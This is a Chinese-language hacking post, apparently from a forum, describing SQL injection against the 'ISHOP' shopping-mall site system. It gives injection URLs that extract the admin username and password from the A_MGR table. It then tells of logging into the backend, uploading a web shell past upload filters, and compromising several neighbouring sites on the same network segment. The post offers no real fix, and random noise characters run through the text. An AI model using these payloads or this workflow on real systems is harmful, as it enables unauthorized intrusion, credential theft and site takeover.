ISHOP商场建站系统注入漏洞

admin

发现一个注入点
  ^' Z; V; \/ s2 I$ s0 rhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389

习惯性的加’having1=1--

" m' F) x* p& ?6 Rhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—

0
1 Z* ^: O1 O6 d8 s# y  [, L3 x( V- T
9 `: t; r9 _/ w* j3 M* P3 q爆出Diary_A.dl_Title（这时候很激动啊）

那么继续
! J: q/ |1 u7 v+ @! r' c7 y. c0 _http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

继续，一直爆下去

0 k. ^& E( j& I% B' J爆到几个字段和表段 但是没找到需要的管理用户的字段
! q, ~' o4 l+ S& @& K' E
9 B2 }; I5 Q( {+ Y* C蛋疼了 怎么办 然后去后台登陆页看源码

0
. y4 ?& \0 G  t* A, z
) J* }) ~: M& Y4 [0 n2 hInput name= “ADUID”
5 J' d* t& {9 N1 h0 mInput name= “ADPWD”
$ [( t. D3 T: p1 N  r# z& P
很幸运 找到了字段那就继续
+ ?; v4 m, X: j$ m找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
0 G# I2 T- c. m1 H7 u. Z测试了下 这个注入点只能爆到文章哪里的表

4 u& L- E& B6 t' N! o3 D头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了

又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
9 H+ N1 n' I1 t. |
0 w( N$ v. N$ k; g2 a# r1 {3 {473
! X, d% f8 s+ A7 H9 T9 \/ t5 `
4 ^+ h: X/ ?4 j# r: T$ H. L2 T进后台
! f, C0 a! U4 a7 w

发现几个上传点 有的地方不能上传 而且防止恶意代码
- q3 E, i# w$ ?" j! [- T
$ I2 G5 _  ~- p: R/ Z没办法 各种百度各种找大牛 找到一只好像可以突破的马
- H, D* ?' K) i3 A5 S2 z! C" \1 c
2 I: |" ~% Q/ h( p( G
, m# \! b% }/ e( k5 C9 d, L' o. d4 j在系统管理那里直接上传 不过没有显示地址

再上传一次 抓包 搞定OK
& j  r2 V. R- U$ F5 p$ z5 b3 W# N


: R8 ~6 R6 l4 D) [' M. b; C! R! i472
, [/ c' Q+ C5 V5 H8 k( R
晚上不行了 去睡觉。。。
  P$ g2 @* Z3 N% p- Y* Q第二天刚起床 闲的没事做继续日站吧
4 T* J$ g0 \7 E
找个站 就把这个站的旁c扫了下
: \! I& H" S. f9 z
9 {* @7 j9 p) @7 h+ u发现c段也有一个购物站 ，然后还和这个站的模板差不多
2 b3 c" a9 g( X1 q
* ~+ L) S8 }3 \1 m& _% ^就找到会员登录口测试

'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀
3 V/ I1 e& x% Q0 _
2 R- c5 S9 ^0 L/ j7 s% D6 P0 y再次翻c段

* a9 a: d0 b: v! O% e翻出几个站 都成功拿下
  |8 @/ k- L: C3 G, w" F
. i" r1 Q4 U/ J  p2 d

( h. U( W3 [0 N( M0 R9 B0 o. b3 \修复方案：
7 w: u; I6 w) w, ?. Q- l0 P他们比我专业
​